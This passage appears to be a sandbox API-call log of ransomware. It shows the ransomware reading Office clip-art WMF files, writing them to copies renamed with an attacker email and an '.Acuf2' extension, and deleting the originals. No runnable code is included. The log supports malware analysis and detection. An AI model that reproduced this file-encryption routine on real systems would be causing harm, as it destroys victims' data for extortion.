	[0259.744] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.744] lstrlenW (lpString=".docx") returned 5
	[0259.744] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.744] lstrlenW (lpString=".pdf") returned 4
	[0259.744] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.744] lstrlenW (lpString=".xls") returned 4
	[0259.744] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.744] lstrlenW (lpString=".xlsx") returned 5
	[0259.744] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.744] lstrlenW (lpString=".ppt") returned 4
	[0259.744] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.744] lstrlenW (lpString=".zip") returned 4
	[0259.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.744] lstrlenW (lpString=".rar") returned 4
	[0259.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.744] lstrlenW (lpString=".bz2") returned 4
	[0259.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.745] lstrlenW (lpString=".7z") returned 3
	[0259.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.745] lstrlenW (lpString=".dbf") returned 4
	[0259.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.745] lstrlenW (lpString=".1cd") returned 4
	[0259.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 63
	[0259.745] lstrlenW (lpString=".jpg") returned 4
	[0259.745] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.745] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.745] lstrlenW (lpString="BS01636_.WMF") returned 12
	[0259.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.745] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=1874) returned 1
	[0259.745] CloseHandle (hObject=0x274) returned 1
	[0259.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20
	[0259.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.746] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.746] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0259.746] GetLastError () returned 0x0
	[0259.746] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x752, lpOverlapped=0x0) returned 1
	[0259.748] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x760, lpOverlapped=0x0) returned 1
	[0259.749] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.749] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.749] SetEndOfFile (hFile=0x218) returned 1
	[0259.749] CloseHandle (hObject=0x218) returned 1
	[0259.749] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.749] SetEndOfFile (hFile=0x274) returned 1
	[0259.751] CloseHandle (hObject=0x274) returned 1
	[0259.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 1
	[0259.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.751] lstrlenW (lpString=".doc") returned 4
	[0259.751] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.751] lstrlenW (lpString=".docx") returned 5
	[0259.751] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.751] lstrlenW (lpString=".pdf") returned 4
	[0259.751] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.752] lstrlenW (lpString=".xls") returned 4
	[0259.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.752] lstrlenW (lpString=".xlsx") returned 5
	[0259.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.752] lstrlenW (lpString=".ppt") returned 4
	[0259.752] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.752] lstrlenW (lpString=".zip") returned 4
	[0259.752] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.752] lstrlenW (lpString=".rar") returned 4
	[0259.752] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.752] lstrlenW (lpString=".bz2") returned 4
	[0259.752] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.752] lstrlenW (lpString=".7z") returned 3
	[0259.752] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.752] lstrlenW (lpString=".dbf") returned 4
	[0259.752] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.752] lstrlenW (lpString=".1cd") returned 4
	[0259.752] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.752] lstrlenW (lpString=".jpg") returned 4
	[0259.752] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.752] lstrlenW (lpString=".doc") returned 4
	[0259.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.752] lstrlenW (lpString=".docx") returned 5
	[0259.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.752] lstrlenW (lpString=".pdf") returned 4
	[0259.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.753] lstrlenW (lpString=".xls") returned 4
	[0259.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.753] lstrlenW (lpString=".xlsx") returned 5
	[0259.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.753] lstrlenW (lpString=".ppt") returned 4
	[0259.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.753] lstrlenW (lpString=".zip") returned 4
	[0259.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.753] lstrlenW (lpString=".rar") returned 4
	[0259.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.753] lstrlenW (lpString=".bz2") returned 4
	[0259.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.753] lstrlenW (lpString=".7z") returned 3
	[0259.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.753] lstrlenW (lpString=".dbf") returned 4
	[0259.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.753] lstrlenW (lpString=".1cd") returned 4
	[0259.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63
	[0259.753] lstrlenW (lpString=".jpg") returned 4
	[0259.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.753] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.753] lstrlenW (lpString="BS01637_.WMF") returned 12
	[0259.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.754] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3948) returned 1
	[0259.754] CloseHandle (hObject=0x274) returned 1
	[0259.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20
	[0259.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.754] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.754] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0259.755] GetLastError () returned 0x0
	[0259.755] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xf6c, lpOverlapped=0x0) returned 1
	[0259.756] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xf70, lpOverlapped=0x0) returned 1
	[0259.757] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.757] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.757] SetEndOfFile (hFile=0x218) returned 1
	[0259.757] CloseHandle (hObject=0x218) returned 1
	[0259.757] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.757] SetEndOfFile (hFile=0x274) returned 1
	[0259.759] CloseHandle (hObject=0x274) returned 1
	[0259.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1
	[0259.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.760] lstrlenW (lpString=".doc") returned 4
	[0259.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.760] lstrlenW (lpString=".docx") returned 5
	[0259.760] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.760] lstrlenW (lpString=".pdf") returned 4
	[0259.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.760] lstrlenW (lpString=".xls") returned 4
	[0259.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.760] lstrlenW (lpString=".xlsx") returned 5
	[0259.760] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.760] lstrlenW (lpString=".ppt") returned 4
	[0259.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.760] lstrlenW (lpString=".zip") returned 4
	[0259.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.760] lstrlenW (lpString=".rar") returned 4
	[0259.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.760] lstrlenW (lpString=".bz2") returned 4
	[0259.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.760] lstrlenW (lpString=".7z") returned 3
	[0259.761] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.761] lstrlenW (lpString=".dbf") returned 4
	[0259.761] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.761] lstrlenW (lpString=".1cd") returned 4
	[0259.761] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.761] lstrlenW (lpString=".jpg") returned 4
	[0259.761] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.761] lstrlenW (lpString=".doc") returned 4
	[0259.761] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.761] lstrlenW (lpString=".docx") returned 5
	[0259.761] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.761] lstrlenW (lpString=".pdf") returned 4
	[0259.761] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.761] lstrlenW (lpString=".xls") returned 4
	[0259.761] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.761] lstrlenW (lpString=".xlsx") returned 5
	[0259.761] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.761] lstrlenW (lpString=".ppt") returned 4
	[0259.761] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.761] lstrlenW (lpString=".zip") returned 4
	[0259.761] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.761] lstrlenW (lpString=".rar") returned 4
	[0259.761] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.761] lstrlenW (lpString=".bz2") returned 4
	[0259.761] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.762] lstrlenW (lpString=".7z") returned 3
	[0259.762] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.762] lstrlenW (lpString=".dbf") returned 4
	[0259.762] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.762] lstrlenW (lpString=".1cd") returned 4
	[0259.762] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63
	[0259.762] lstrlenW (lpString=".jpg") returned 4
	[0259.762] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.762] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.762] lstrlenW (lpString="BS01638_.WMF") returned 12
	[0259.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.762] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=10538) returned 1
	[0259.762] CloseHandle (hObject=0x274) returned 1
	[0259.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x20
	[0259.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.763] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.763] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0259.764] GetLastError () returned 0x0
	[0259.764] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x292a, lpOverlapped=0x0) returned 1
	[0259.766] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2930, lpOverlapped=0x0) returned 1
	[0259.767] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.767] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.767] SetEndOfFile (hFile=0x218) returned 1
	[0259.767] CloseHandle (hObject=0x218) returned 1
	[0259.767] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.767] SetEndOfFile (hFile=0x274) returned 1
	[0259.769] CloseHandle (hObject=0x274) returned 1
	[0259.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf")) returned 1
	[0259.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.770] lstrlenW (lpString=".doc") returned 4
	[0259.770] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.770] lstrlenW (lpString=".docx") returned 5
	[0259.770] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.770] lstrlenW (lpString=".pdf") returned 4
	[0259.770] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.770] lstrlenW (lpString=".xls") returned 4
	[0259.770] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.770] lstrlenW (lpString=".xlsx") returned 5
	[0259.770] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.770] lstrlenW (lpString=".ppt") returned 4
	[0259.770] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.770] lstrlenW (lpString=".zip") returned 4
	[0259.770] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.770] lstrlenW (lpString=".rar") returned 4
	[0259.770] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.770] lstrlenW (lpString=".bz2") returned 4
	[0259.770] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.770] lstrlenW (lpString=".7z") returned 3
	[0259.770] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.770] lstrlenW (lpString=".dbf") returned 4
	[0259.770] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.770] lstrlenW (lpString=".1cd") returned 4
	[0259.770] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.770] lstrlenW (lpString=".jpg") returned 4
	[0259.770] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.771] lstrlenW (lpString=".doc") returned 4
	[0259.771] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.771] lstrlenW (lpString=".docx") returned 5
	[0259.771] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.771] lstrlenW (lpString=".pdf") returned 4
